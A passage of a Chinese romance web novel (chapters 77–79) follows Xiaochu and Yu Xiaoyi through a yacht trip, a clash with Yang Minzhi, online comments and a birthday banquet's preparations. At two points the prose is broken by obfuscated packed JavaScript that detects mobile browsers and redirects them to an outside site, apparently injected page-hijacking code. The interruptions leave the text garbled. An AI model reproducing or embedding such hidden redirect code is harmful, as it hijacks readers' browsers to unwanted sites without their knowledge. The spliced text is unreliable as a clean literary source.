窗外的海水呈现着美丽的钴蓝色,小初知道,这是得益于今天异常美丽的天气,天蓝,海才会蓝,海本来就是天空的一面镜子。 而现在,她心情不好,这么好的景色落在她眼底,也成了灰蒙蒙的一片,她的心情,又岂不是这个世界的一面镜子呢。 “下次要多叫些人出来玩,大家一起喝酒聊天彻夜跳舞才开心,只可惜,我大多玩得来的朋友都不在香港,这次回来,我本来也只是想陪妹妹好好过个生日而已。谁想到……”杨敏之手扶着栏杆,看了一会外面的天与海,突然回眸朝余珺彦一笑。 她的眼睛极美,双眼皮深邃,睫毛纤长,却不知怎么只让人感到冷艳与危险,目光掠过小初时那短短两三秒,眼底的凝视就让她的酒意醒了大半。 仿佛一条美女蛇,明明看着你的时候在笑,可说不定那一瞬,她就要扑上来缠住你的脖子,将你毫不留情地绞杀了。 小初眯了眯眸子,伸手从果盘里捡了颗车厘子,感受了一下那个血浆一样的汁液在口腔里爆开的感觉。 她咬得丝毫没有留情,一点点汁水顺着嘴角流下来,她笑笑,正要用拇指去抿,不想一张洁白的纸巾已经随着一只修长的手到了面前。 “谢谢。”她没抬头去看他的眼睛。 就是怕自己的理智再次在他深情中沉沦。 继而又忘了前面在吵什么。 “那看来,你们姐妹感情很好。”余珺彦微微扬了扬下巴,“我记得,她应该小你几岁吧?” “和Theo同年。”杨敏之红唇微启,突然看向余萧弋,“我记得你们从小关系就一向要好的,之前同在一间学校,还经常凑在一块做功课,怎么突然就疏远了?” 小初眼睫一跳,手上的动作却没停,又闲闲捡了颗车厘子放进了嘴里。 余珺彦转眸看了她一眼,突然笑道:“你喜欢吃这个?” 小初点点头,用力驱赶着脑子里的混沌,“喝酒喝得口渴,这个很又冰又甜,很爽口。” “当然爽口,我特地交代他们提前用冰水浸过的。” “原来如此。”小初说,“我差点直接管你要冰块了。”她不止是渴,而是心里又燥又烦。 “那你别喝酒了。”余珺彦起身,“薄荷冰柠茶喝吗?” 小初笑,“好啊,那麻烦你了。” 原来是从小的交情,只是后面才疏远的,她突然有点不想坐在这听他的罗曼史了。 余珺彦眨眨眼,“我说了我照顾你是应该的。”然后又加了句,“爷爷特地交代的。” 耳边突然传来一声轻笑。 小初不确定,微微侧眸过去。 然后果然发现是余萧弋在笑,而且笑得很荒诞,似是正在经历什么令人发笑的事。 “是从小关系就很好。”他也学她,指尖拈着一颗冰车厘子,像拈着一朵花,下一秒汁水就在他的指尖爆开来,“那时候不止她,我们一班朋友,包括铭仔他们,确实每天都混迹在一起。至于为什么单单和杨敏中疏远了,那是因为她中学时候给我写了情书啊,大嫂你有所不知,我这人对自己不喜欢的人,就是这样的,宁愿朋友都不做,也不想给人什么错误信号。感情这种事,还是边界感强点比较好,似是而非,最是伤人伤己。” 小初慢了几个拍子的思维,反应了好一会,才理解他在说什么。 一颗车厘子滚到了脚下。 杨敏之静静看了他几眼,挑了挑眉,“想不到你这么直白。” “跟她学的。”余萧弋一把扯过小初的手,“情侣之间口水吃多了是这样的。”然后他笑,笑得掌控感十足,“你醉了,我带你去主卧休息。” “没有的事。”小初猝不及防,差点直接跌进他怀里。 他俯身,与她对视,却又让人看不懂他眼中情绪,“乖,哥和女朋友也需要私人空间,我们一直在这里,不太礼貌。” 小初咬唇,没说话。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16759009|182866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 余珺彦端着杯柠檬水走了进来,奇怪地看了两人一眼,“怎么,不喝了吗?” 余萧弋笑,“喝啊,给我就好。” 余珺彦递给他,眼神却在无声问小初,“没事吧?” 小初没给他回应,脑子里仍在想着余萧弋刚刚那番讽刺十足的话。 余萧弋捕捉到他那个眼神,无意识地摸了摸衣服衣摆的边缘,直至指腹传来粗粝的触感,他才反应过来,他在害怕。从小到大,只有最紧张和不安的时候,他才会做出这个动作。 余珺彦已经给了他无法消解的危机感。 刚刚在会所大厅,他其实早就从卫生间出来了,远远的,他看得很清楚,方太初在他身边极为放松,两人聊天时的肢体和神情,更是有种无需多言的信任和默契。 他们根本就没有她说的什么……不熟。 “麻烦,哥,再让人给我们送些水果,水,还有冰块。”余萧弋勾着唇,指了指上层甲板,“还有,上面的日光浴区是整艘船最精致和私密的,非常适合你和杨小姐,你放心,我们绝不会上去打扰,enjoy。” 余珺彦蹙眉,淡淡看他一眼,“管好你自己就好。” 游艇上的主卧非常大,也非常漂亮,堪比绮丽的海景房,透过一整面的透明玻璃窗,外面正是无垠的大海。 小初的目光只在海平面上停留了片刻,就落在了那张足有两米宽的双人大床上,随后她就像被烫了似的,赶紧又别开视线,可下一秒,窗帘就缓缓合上了。 大海消失,取而代之的是昏暗幽闭空间。 身后又传来落锁的声音,小初紧张地吞了吞口水,倏地转过身去,果然是他,按动了墙上的窗帘遥控器。 “你干嘛?”她防备地退后半步。 “什么干嘛?”余萧弋被她防备的眼神和动作刺得几乎没把手里的托盘失手掉到地上去。 他们兜兜转转,怎么又回到陌生了? 他把托盘放到茶几上,收回手,又摩挲了好几下衣服的边缘才稳住心神,过来拉她,“来,洗手。” 小初躲开,自行走向卫生间,“我自己会洗。” 余萧弋叹口气,也跟了上来。 卫生间面积不算大,两人的身体不可避免地挨在了一起。洗手台前的镜子光亮如新,照得人心事无所遁形,小初不敢抬头。 “洗手液在这。”余萧弋将手放在自动洗手液器下,任丰盈的泡沫落在掌心。 然后下一秒,他就把泡沫都抹在了她的手上,笑笑,“先给你。” 小初眼睫一跳,被他触碰的皮肤迅速变红,升温,船体不知因为什么剧烈一晃,她失去平衡,他也是,两个身体像同频的不倒翁一样,倒向一边,又倒回来,惊慌中也不知是谁先动的手,总之待回过神来,两只沾满泡沫的手就已经紧紧抓在一起了。 镜子里的两个人都有些怔愣,再看向对方眼睛就慢慢红了。 小初挣扎了一下想当做什么都没有发生,但没成功。 余萧弋唇角勾起一个弧度,“你看,连老天都在帮我们。” 小初淡淡的,“我只想洗手。” “这个好办。” 他弯起唇角,用另一手打开了水龙头的水,然后牵着她一起,任那个温热的水流将她和他包裹在一起。 很多不该有的回忆偏在这会儿涌了上来,小初的耳垂顿时变成了淡粉色。 洗手液里似乎含了什么花香调的精油,充斥在鼻端有种暧昧的甜。 “够了。”小初的声音快低哑得不行,谁家好人洗手四只手揉搓得这么暧昧缠绵? 他故意的吧? “我不分手。”余萧弋将两人手上的泡沫冲干净,又从电热毛巾架上取下毛巾将她热烘烘地包裹在里面,人却已经紧张到发抖,“我知道你方太初向来是洒脱的人,但能不能不要就这么轻轻把我放下,之前那一个月彻底失去你音讯的日子,我这辈子也就只能抗那一次了。” “你痴线啊。”小初反用毛巾将他的手裹住,“我只是说冷静冷静,什么时候说分手了?” “真的吗?”余萧弋一把将她横着抱起,在她的惊呼声中,已经将她放在柔软舒适的床品上整个人覆了上来。 小初愕然,用力推他,“余萧弋,刚刚那半杯香槟正在上头,我现在不是很清醒,你不是不碰不清醒的人吗?” 他低头,一遍遍吻她的额头,眼睛,脸颊,唇角,没有太多涌动的欲望,都是失而复得的欣喜和委屈,眼泪一滴滴地落下来,小初迷蒙地尝了尝,是咸的。 他哭的样子很破碎,也很深情,好看得简直让人不知还把目光放在哪里,她想抱住他安慰,私心里却又莫名想看他多哭一会儿,她觉得自己快被扯碎了。 酒精在试图控制她的感官。 又抱了一会儿后,两人都有点受不住了,连鼻息都是潮热的。 “我渴。”小初的目光逐渐迷蒙,“哥哥,给我水喝。” “好。”余萧弋吞了吞口水,尽管很不舍,但还是利落地跳下了地,帮她拿过了那杯冰柠水。 “张嘴。”他沉声命令。 冰凉的杯沿压上来的时候,小初的身体不由自主颤了颤。 头好晕。 尽管很小心,水还是洒了一些到床单上,顺着她的嘴角,旖旎得似是要人命。 “我是不是要发烧?”小初抓住他的袖子,“我想要一块冰,可以吗?” 余萧弋有些犹豫,“会不会太冰了?” 小初的眼皮逐渐沉下来,“下次再不喝这么多酒了,好难受。” “好。” 到底还是心疼,余萧弋将托盘端到床头柜上,手指拿了块冰放到她唇边,“含着,别不小心吞下去。” “等下。”小初偏开唇,勾住他衣服下摆,“你要不也陪我睡会儿吧。还有很多话,你等我醒了酒再和你好好说。我知道的,你不是想控制我,只是太想做那个唯一了。那个音箱,我现在没给你,是因为不想提前渲染离别的氛围,我希望我在这这段时间,你每天都是开心的。” 说完这些,她才就着他的手指含住了那块冰。 余萧弋愣住,所有末梢神经都传来了细微的酸涩和痒意,将他笼罩其中。 两人面对面躺了下来。 她满意极了,转而换成摸他的脸,但应是太困了,冰块还未在嘴里完全融化,人就已经睡了过去。 她被冰过的唇色红润异常,嘴角有浅浅的水痕,他实在没忍住冲动,指尖在她唇瓣微张的地方抵了抵。 不知睡了多久,有人来敲门。 余萧弋睡得也正迷糊,还光着脚就下了地。 原来是船员木生,木生的爷爷曾是余家的老佣人,后来为了照顾他们一家的生活,木生就被余绍鸿安排到了船上。 “怎么了?” “二少爷,你去楼上看看吧,大少爷和杨小姐……吵起来了。” “什么?” 小初和余萧弋跑到上层甲板的时候余珺彦似是已经挨了一巴掌,半边脸都是红的。 这场面多少有点耐人寻味,两人对视一眼,默契地都没有继续往上走。 杨敏之是背对着二人的方向,因此没有注意到他们的到来。 “余珺彦,你是不是不明白什么叫联姻?”杨敏之轻笑,双手微拢挡着海风点燃了一支烟,“联姻就是一桩生意罢了,你当我是在跟你谈感情吗?” 余珺彦瞥了眼杵在台阶上的余萧弋和小初,似笑非笑道,“那我倒没敢奢望杨小姐能对我生出什么感情来,毕竟,你那些赫赫有名的男朋友们,个个都比我年轻,帅,有趣,会提供情绪价值。” 杨敏之饶有兴致地吐了个烟圈,“你放心,既然选择跟你结婚,我就会给你最起码的尊重。同样,也请你谨记你自己的身份,以后就算就着眼泪拌饭吃,你也只能是我杨家的女婿,郭永仁哪怕死而复生一千次,你也休想去参加他的葬礼。离婚也不是不行,但,你必须给我坚持到这单生意做完。我杨敏之很有原则的,你们余家之前几次三番打我们家脸,这笔账,看在钱的份上我都可以不计较,但你以为你是谁啊,我和你订婚的消息全世界现在都知道了,你跟我说你想反悔?你拿我取笑啊?” 余珺彦笑:“可我已经有了喜欢的人了,不想拌着眼泪就饭吃。” 杨敏之轻哼,“那又怎样?” “这对你不公平。” “我杨敏之做生意,从来不谈感情。”而后她起身,缓缓走向他,并对着他的脸吐了个烟圈,“你是个聪明人,自然知道,从此以后在余家,我才会是你争夺话事权最有力的筹码,要是没了我,Jeo余啊Jeo余,我是个直接的人,你是不是忘了你的出身?这么多年在余家委屈求全的滋味不太舒服吧,但是从此以后有了我,没有人再敢对你轻言哪怕半句。” 余珺彦挑了挑眉,“听着是很有吸引力,不过恕我直言杨小姐,我还从没有见过你这么自负的人。” 杨敏之单手解开他衬衫上的第三粒扣子,丝毫没有掩饰她骨子里的骄傲,“不然呢?你爷爷今天竟然拿我和内地来的那个暴发户的女儿相提并论,真是好笑。你可知,从1900年开始,我家祖上,就已经是英政府首批特许参与官商合作的商界精英了?我曾祖父进驻立法会的时候,她曾祖父,还在哪座山里吃草根呢吧?Theo选了她还想跟你比?做梦。” 小初蹙了蹙眉,朝余萧弋指了指自己的气得通红的脸,“她是不是在骂我?” 还未等余萧弋回答小初,那边余珺彦就闲闲开了口。 “是吗,我倒是觉得,Theo的眼光不错。” 小初:“??” 大哥,都这会儿了,您就别夸我了,行吗? 78.第 78 章 余珺彦拂开杨敏之的手,闲闲将那粒纽扣又扣上了。 “方小姐她傲气却不狂傲,聪明却没有心机,率真却不鲁莽,可爱却不造作,不拘小节但心思细腻极具同理心,除此之外还身价千亿,Theo选她,眼光绝了,好吧?” 杨敏之若有所思看他一眼:“你倒是欣赏她。” 余珺彦毫不避讳:“我当然欣赏她,我眼光又没有问题。” 小初看得很清楚,余珺彦每说一句,余萧弋的脸色就黑一寸,等他全部说完,他的手臂上的青筋都起来了。 “余珺彦,你闭嘴吧!”眼见事要不好,小初赶紧出言阻止余珺彦继续大放厥词,“本小姐的优点我自己清楚得很,用得着你在这帮我如数家珍吗?” 杨敏之忽地回过头来,饶是再狂得没边,也有些许的尴尬,但既然话已经出口,也没有认怂的道理,想到这,她不仅没有道歉,反而似笑非笑地又用力吸了一口烟。 她不相信她方太初一个连高尔夫球杆都没摸过的野丫头敢拿她怎么样。 这个亏,她吃也得吃,不吃也得吃,别说她,就是她爸方协文亲自来了香港,恐怕也不敢不卖她杨家一个面子。 可她想错了,还没等她那口烟从肺里面完整地走一圈,小初就已经气势汹汹踏上了甲板,指着她的鼻子骂道:“还有你,姓杨的,如果我没算错,你也不是港英时代的人吧?你既然这么恨你生不逢时,不能像你曾祖父那样被特许参与官商合作,不如现在就跳海死了重新投个好胎怎么样?不过我很怀疑,你有没有那个入驻立法会的本事,一个靠捐款才勉强混张文凭的臭名昭著的草包,你在这装什么商界精英?” 话音一落,现场几人就陷入了死一般的沉默,只剩海风卷着浪花拍打在船身上的声音。 别说杨敏之和余珺彦,饶是对小初有几分了解的余萧弋都没想到她会这么直接,半点脸面都没给对方留。 而且,听到最后他都替她捏了一把汗,那杨敏之也不是什么好吃点心,从小到大飞扬跋扈惯了的主……听完这些话,会直接气疯吧? “你好嚣张啊方小姐,你可知这是什么地方?你信不信我让你走不出……”杨敏之活了二十八年,向来都是别人前呼后拥地捧着她说话,何时受过这种委屈? 她话还没说完,就被余萧弋打断,声音极冷:“我不信,你可以试试。” 小初按住他的手,轻轻摇了摇头,然后才好整以暇地轻笑一声,“慎言啊杨小姐,知道你杨家是百年望族,但你再说几句,接下来我在这边无论发生什么事,都得你负责了哦。我不像你,家里兄弟姐妹加起来能组个足球队,没了一个两个的,也不可惜。我爸就我一颗掌上明珠,我有任何闪失,就算法律上查不出来跟你有任何关系,他也会重金买通赏金猎人追杀你到天涯海角的,到时候,你可就不能那么痛快地玩你的男明星了。” “你!”杨敏之气得胸腔起伏,忽地转向余珺彦,“Jeo余,你就任我被人这么欺负吗?” 小初嘁了一声,她还当她有多大本事,原来遇上事也只知道喊男人保护啊,真够没用的。 余珺彦这才息事宁人地对小初作了个揖,眸底却带着一丝极淡的笑:“方小姐,麻烦,给我一个面子。”说完,他又赶紧加了句,“虽然我的面子也不值什么钱。” 算他还有几分自知之明。 “但好歹今天是爷爷做东,你就当是给他老人家一个面子。敏之其实刚刚也不过是说了两句玩笑话,你别放在心上,一会儿我再敬你两杯酒,你消消气,可以吗?” 小初无可无不可地看了他一眼:“我这人从不乱开玩笑的,若有下次,我连你一块骂。” 下一秒,她又忽而一笑,“不过,既然你都把爷爷搬出来了,他老人家的面子,我肯定是要给一给的。敬酒就免了,你赶紧通知船长返航吧,我现在有点晕船,非常,非常的恶心。” 余珺彦说好。 余萧弋拉着小初沿着楼梯下到主甲板,才没好气地戳了一下她的额头,“牙尖嘴利。” 小初揉了揉被他戳的地方,“你轻点,疼。除此之外我要纠正你,牙尖嘴利是贬义词,我那个,应该叫做,伶牙俐齿。” “好!伶牙俐齿!”余萧弋笑,“我想问问,方太初,你都是哪搜罗来的那么多,那么多……” “恰如其分的词?”小初狡黠地看他一眼。 “你好像还挺骄傲?” “哪有!我都快委屈死了好吗?”小初扁扁嘴,“你没听见她说我什么吗?说我也就算了,她竟还说我爸和我爷爷。” “嗯。”余萧弋斜睨她,语气很是无奈,“看得出来你很委屈了。” 两人回到主沙龙,依偎着坐到了沙发上。 小初捡了颗车厘子喂到他嘴里,可怜兮兮的,“哥哥,你不会因为我这么强势刻薄就不喜欢我了吧?毕竟,你只喜欢那种崇拜你,依赖你,满心满眼都是你的女朋友的。” 余萧弋差点被那个车厘子噎死,实在气急,就在她腰上掐了一把,“你是要拿这件事笑我一辈子吗?” 小初一边躲,一边笑:“我错了错了。”却还是没打算放过他,“你还没回答我问题呢,会不会不喜欢我了?” “岂敢!”余萧弋挑眉,眼底都是不可抑制的笑意,“我已经感受到你对我的爱了,毕竟,就算再生气,你都没有像骂他们那样骂过我。” “其实。”小初忍俊不禁,“还有一种爱,就是,“她连骂人,都是骂我最狠”,你要不试试?” “也可以。” “……”小初愣了半晌,实在不知道该说些什么,最后只从牙缝里挤出两个字来,“昏君。” “为了你,我宁愿做昏君。”余萧弋把她揽入怀中,示意她,“来,喂朕吃个水果。” 小初从善如流,又拿了颗葡萄给他,“还纠结余珺彦吗?” “你不说,我都快把他忘了。” “我跟他连朋友都不算。” “那他为什么那么了解你?” 小初说:“因为他聪明,慧眼如炬。” 余萧弋不敢相信自己听到了什么,嘴里还含着那颗葡萄就按着她吻了下来,直亲得两人嘴里都是同样味道的汁水才停下来,“还敢夸他?” 小初立刻求饶,“不敢了。” 船很快回了航,因着两天后就是余萧泽的生日,家里还有很多事要忙,余萧弋开车把小初送回公寓两人就分了别。 小初快被累死,上楼后只简单冲了澡就把自己埋到被子里。 中间曹旸过来喊了她两次起来吃晚饭,都没把她从床上摇起来,最后吵醒她的,是一通不解风情的电话。 她当时正睡得沉,被吵醒后整个人都是懵的,还当自己在下午的游艇上,下意识手就朝身旁位置搭过去,咕哝了一声,“余萧弋,好吵。” 却扑了个空。 电话仍在响。 窗外天色已大黑,手机屏幕上是一串陌生的数字,她茫然了一会儿,魂儿才落回身体,然后才记起号码的主人是余珺彦。 顿时烦到不行,犹豫都没犹豫,她就点了挂断。 没过三秒,对方就又拨了过来。 她又挂断。 他不依不饶。 最后她终于不胜其烦,电话接通后就没好气骂道:“余珺彦,你有病吧?” 对方轻笑,“怎么了,火气这么大?” “你看下几点了?这么晚打扰人合适吗?说吧,到底什么事?” 余珺彦说:“也没什么事,就想问问你,需不需要我把那只耳饰给你送过去,需要的话,我就开过去一趟。” “……”小初顿时清醒了一点,语气也有所缓和,“倒是难为你有心了。” 余珺彦轻嗤,“给我演是吧,突然这么客气我还真有点无福消受。” 小初说:“对,我就该学学杨敏之,给你个大巴掌,你就吃这套。” “别跟我提她。” “提不提她也是你未婚妻。” 余珺彦威胁,“你再说我就把这东西扔到海里去,反正它对你比较重要,对我又不重要。” 小初顿时服软,“别,你别冲动,大家有话好好说。” 两人最后约定,等仔仔的生日宴上,他再把耳饰还她,那样就不用麻烦他特意跑一趟了。 她已做好决定,不再私下见他。 平心而论若是余萧弋总是约见一个她不喜欢的女人,她也会不开心,不仅不开心,说不定凭着她的脾气,早一气之下和他分手了,这世上又聪明又漂亮还能跟她谈得来的男人又不是…… 她摇摇头。 不,不会再有了。 她不是杨敏之那样以玩弄男人的皮囊为乐的人,与执着无关,是她很清楚,这世上于她,只有这么一个他了,错过了,余生就算她还能与别人顺利恋爱结婚,也不过是走程序罢了。 可她又不是个非与谁结婚不可的人,有些程序不是他,还有必要走吗? 她躺在床上看着天花板发了会呆。 忽然觉得她完了。 被他吃得死死的了。 从前做事只遵从内心从不在意别人想法的她,竟然也开始反思和改变了,半点不想他失望和伤心,只想尽可能地多给他一些安全感。 但她也有她的委屈,那个余珺彦,又不是她有意要结交的,事情一步一步将所有人推到现在,很多东西已成既定,再回头,她竟不知一开始是什么情形了。 或许,她就不该去酒吧喝那场酒。 这么一折腾,她也睡不着了,索性让阿姨煮了宵夜过来,边吃边处理了下各种邮件和消息。 艾琳发了张与朱红宫墙相映成趣的一棵银杏树照片过来,并给她留言:「想你了,你上次说你大概下个月几号回京来着?西直门附近新开了一家贵州菜,上次吃过之后一直念念不忘,就等着你回来带你去吃呢。」 小初有些感动,但很快就陷入了另一种无名的伤感中。和艾琳约定见面的日子进入倒计时,就意味着,她离开这里的日子也不会远了。 半年,真的发生好多事,来的时候只是一个简单的行李箱,回去时却多了那么多割舍不下的人。 她回给艾琳:「还不好说,我爸妈是希望我一放假就走,一家人先去南太平洋玩几天,再回北京差不多也就过年了。但具体我还没拿定注意,大概率是还要在香港停留一段时间。」 艾琳几乎秒回,「很舍不得余公子吧?」 小初愕然,「你怎么还没睡?」 「还不到十二点睡什么觉,我还玩游戏呢,话说回来你们梦游九霄这款经典游戏渲染升级之后场景真实度简直绝了,画面也比之前更清晰流畅,你帮我问问方总呗,网上说官方年底之前就会推出影院级别的AR口袋巨幕到底真的假的啊?这对我真的很重要。」 小初说:「感情想和我吃饭是假,打探消息才是你真实目的呗?」 「我要冤死了,明天港岛就得下雪。」 小初撇嘴:「谁不知道你这么多年只钟情云峫一个角色,难道不是因为他是以方总为原型设计的?」 「什么?!」艾琳震惊极了,「我第一次知道!官方也从没有这么宣传过啊!你等会,如果云峫是方总,那轩辕玫就是?」 小初回:「他女神,方太太。」 艾琳发过来一整个屏幕的目瞪口呆的表情包过来,「难怪轩辕玫的高品质皮肤那么多!方总网上看着那么高冷,实际上竟然这么深情和恋爱脑吗?这就是理科生的浪漫吗?方太初,我终于知道你像谁了。」 小初顾不上别的,只澄清,「我可没有恋爱脑啊!」 「你肯定没有,你那个叫命运的礼物!」 小初在两千公里外朝她勾起唇角,眼角隐有清亮的碎光,「艾琳,你说得很对,我已彻底放弃挣扎。现在唯一担心的是,我才二十岁,连这个世界运行的规则和人性的复杂都没有看清呢就对一段恋爱如此深信不疑,万一哪天还是无可避免走到了不完美的结局,要怎么收场呢。」 「你要跟谁收场?」 「我自己,我怕将来二十八岁,或是三十二岁的方太初,回过头来骂今天的我太过天真,竟然幻想过和初恋白头偕老。人不都是经历过几段恋爱之后,才能真正明白自己想要什么吗?」 艾琳回她:「我呸!满大街都是三十二岁甚至更往上的人,你要不要去采访采访他们是不是都已经明白自己要什么,知道什么是爱情,以及见过一个人真正被好好爱着是什么样子?现在这个社会,无论单身还是处于亲密关系中的,大多数人都是孤独生长孤独老去的好不好?爱情本来就是稀缺品,财富更是,你已经很幸运地两样都有了,就去好好享受生活好吗?别胡思乱想给自己徒增烦恼。」 小初笑:「我错了。」 IG是她八百年也不会登上去看一眼的地方,但午夜的手指通常会背叛主人生出属于自己的意志。 主页上明晃晃挂着的,正是今天早晨她和他在高尔夫俱乐部的落地窗前那张合影,清新的白色餐桌,起酥的黄油可颂,蓝到近乎透明的天与海,当然,还有快门按下去的那一瞬,两人都临时起意决定避开镜头看向对方时略带惊讶的温柔眉眼,照片因此有点模糊,却也将恋爱的氛围渲染了个十足。 很甜。 甜得让第三视角的此刻的她都恨不得自己能拥有奇妙的能力,将他从照片里的世界直接扯进怀里。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16773388|182866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 照片密密麻麻都是她认识的或者不认识的人的评论和点赞。 也是直到这会儿,她才有空看见余萧弋的文案写的什么。 【Gaze is a kiss.】 ——我看向你时,其实已经在吻你。 小初的心脏蓦地漏了一拍,承认自己再次被蛊惑到了。 铭仔照例是评论区最活跃的,「不不,对视才不是接吻,下次请现场亲给我们看好吗?」 爱马仕姐池咏珊说:「Theo又幸福了。」 陈嘉言:「难怪最近都约不出来了,看戏不出来,吃饭不出来,喝茶不出来,原来是两人拍拖到被胶水粘住了,视线都拉丝啦。」 铭仔又说:「看得我也好想谈恋爱啊。香港的单身的女孩子们好狠的心,竟放任这么一个痴情又帅气的男人不管。」 说完就被池咏珊揶揄:「钓鱼请换个池塘,别把人家F Junior这里搞得乌烟瘴气。」 陈嘉言也说:「是啦,评论区千万别有人上当啊,这个既不痴情也不帅气的男人,上个月刚在温哥华迎来人生中第999次失恋。」 铭仔气急败坏:「损友!」 几个人于是又在评论区吵了几十条。最要命的是,他们发的不是纯中文,也不是纯英文,而是各种夹杂的文字,口语化的粤语行文根本就不是繁体字那么简单,她要猜很久,才能get到他们到底在说什么。 底下还有一群她不认识的人、仔细看又都是她粉丝的人留言,她自己都不知道她什么时候多了那么多粉丝。 「原来,这就是人民币和港币之间的极限拉扯吗?好有张力好有味道,我是说金钱的味道。」 「我都不敢想他们这辈子除了花钱和享乐还有什么烦恼。」 「这世界果然是有钱人的。」 「窗外是西贡半岛吗?好漂亮,就没有人线下和他们偶遇吗?有见过的出来说说吗,方小姐是真那么惊为天人,还是照片高P了。」 「照片都糊成这样了,还什么高P啊?上次狗仔蹲守他们学校拍的视频你们没看见吗?她真人就长那样啊。」 「她和她爸都戴着透明眼镜的那个吗?那很帅了!救命,她真的有种少年气谁懂?感觉身上的味道都是树木的味道,而不是庸脂俗粉的味道。」 小初翻到这才看见,余萧弋特地回复了这一条:「她是港岛春天的味道。」 她蹙了蹙眉,他形容得太抽象,连她都想象不出那是一种什么味道。 评论区也被他弄懵了。 「哇,男主现身了!」 「港岛的春天是什么味道?」 「我知道,就是海盐味的微风裹着甜得发腻的鸡蛋仔还有咸鲜的鱿鱼干的味道。」 底下有个人实在受不了了,回道:「Bro,答应我,下次来港旅游去点档次高的地方可以吗?」 小初笑出声来。 笑完才反应过来,这是她的IG账号,所以,那条文案的视角是她,一对视就想到接吻的那个人,也是她…… 这个余萧弋,下回再也不给他随便碰她的手机了! 余萧泽的生日如约而至。 因着是晚宴,小初白天还去学校上了课。 下午四点,萧文然请的明星造型团队就如约上了门,一开始,她还没有意识到事情的严重性,直至被人家按坐在小沙发里两个多小时不能动,她才开始同情小时候只能任她摆布和打扮的芭比娃娃。 “还没好吗?”小初感觉自己在图书馆看一下午的论文都没这么累过,“差不多就可以了,今天不是我主场,不需要我多么光彩夺目。” “马上就好,麻烦你再忍耐一下哈。”负责她妆面和发型的女孩子叫Amanda,很细心也很有亲和力,“方小姐你有所不知,我们团队的很多客户,都会在今天的晚宴上现身的,我们真的不敢随便敷衍砸了自己的招牌,更何况余太特别交代过,让我们一定替她照顾好你。” 小初微不可察地叹了口气。 Amanda最后帮她梳了个利落又不失慵懒的盘发,笑道,“方小姐颅顶高,发量也多,其实是最适合这种盘发的。而且,盘发也和这条礼服更配,若是换成披发,背后的风光就被挡住了,岂不是太可惜。” 她这么一说,小初反而有些犹疑,“会不会太夸张?” “不会啦!”Amanda又着人帮她把全身露在外面的皮肤又薄薄涂了层粉底,眨眨眼,“方小姐,你背这么薄,天生就是为这种款式的礼服而生的,我保证,余少待会看见你,一定会看傻眼的。” 只一句,小初就化成了一朵娇俏的桃花。 所有人都笑。 “对了,首饰呢?” “哦,在这。”曹旸拿过那个首饰盒,并轻轻把它打开。 Amanda一眼就瞧见了那只缺失的耳饰,疑惑道:“确定戴这副吗?” 小初点头,“确定,你帮我把项链戴上就好,耳饰我稍后到了现场自己戴。” 见她这么说,Amanda也就没再多问。 小初又选了几只黄亦玫买的手链和手镯,叠戴在了手腕上,倒也和她今天的整个造型相得益彰。 晚上七点,她和曹旸准时出发绮丽。 之所以没让余萧弋来接,是因为她体贴他要帮父母照顾和接待所有宾客,实在没办法脱身。 时隔四年,余家终于又有一个成年孩子可以进入社交舞台,因此格外隆重。又恰巧马上就是圣诞假期,很多亲朋好友,生意伙伴都会从世界各地飞过来,稍有不慎,就很可能失了周全,她能理解他。 天气预报说今晚有雨。 曹旸将车泊好的时候,风已经涌动得厉害,绮丽门口的树被吹得摇摇晃晃,第一次穿超过七厘米高跟鞋的小初也没好到哪去,一下车,裙裾就顺着风飘飞起来,脚下的地面不太平整,她失了平衡,险些跌倒。 “小心!”一人适时地抓住了她的手腕。 小初猛地一抬头。 曹旸解开安全带,已经绕过车尾来到她身边,但还是晚了一步。 “曹小姐应该是进不去内场吧?我陪方太初进去就好了。”余珺彦笑得绅士而迷人。 小初侧眸过去,对上他在夜风中无比冷峻和棱角分明的一张脸,她第一次觉得,通身穿黑色西装的他,有种令人感到危险的张力。 “不用,曹旸可以陪我进去,文然阿姨有给多一张请柬。”小初抽回手。 “也好。”余珺彦挑了挑眉,“那我先进去了。” 小初只想快点和他分开,也没多想,就朝他挥了挥手。 直至他在前面走了很远,她才想起来…… 耳饰还没朝他要呢。 79.第 79 章 绮丽本就是城内举办各类高规格晚宴,酒会和私人派对的热门选择,这次策划自家少爷的成人礼,场地布置更是极尽时髦和奢华。 从大堂check in处开始,一整条通往内场的长走廊,在流苏低垂的水晶灯的映衬中以及各种珍奇花卉的簇拥下,瞬间化作一个小型私人艺术展,墙上陈列的一幅幅署名为Enzo Yu的涂鸦和画作用色大胆,极具创造性和观赏性。 尽头转角处的LED大屏上,则滚动播放着余萧泽从小到大成长历程的小短片,小初停下来看了一会儿,才发现配乐竟还是他自己创作的,不禁感叹,“没想到这小屁孩还真有点艺术天分,画画得好,歌写得也很有个人风格。” 曹旸点头:“的确。” 两人一边缓步而行,一边把每幅画都认真看了看,期间,一直有人从她们身边经过。 余家的宾客,自然都是城中名流,身份非富即贵,更不乏平时只在电视和报纸上才能见到的大人物。 但大多数人都步履匆匆直奔礼宾处,真驻足认真看画的是极少数,除非熟人相遇,才免不了停下来寒暄几句。 这一切自然都与小初无关,她之所以迟迟不想进去,其实是因为她心里紧张,不知道一会儿该怎么面对余家亲友。 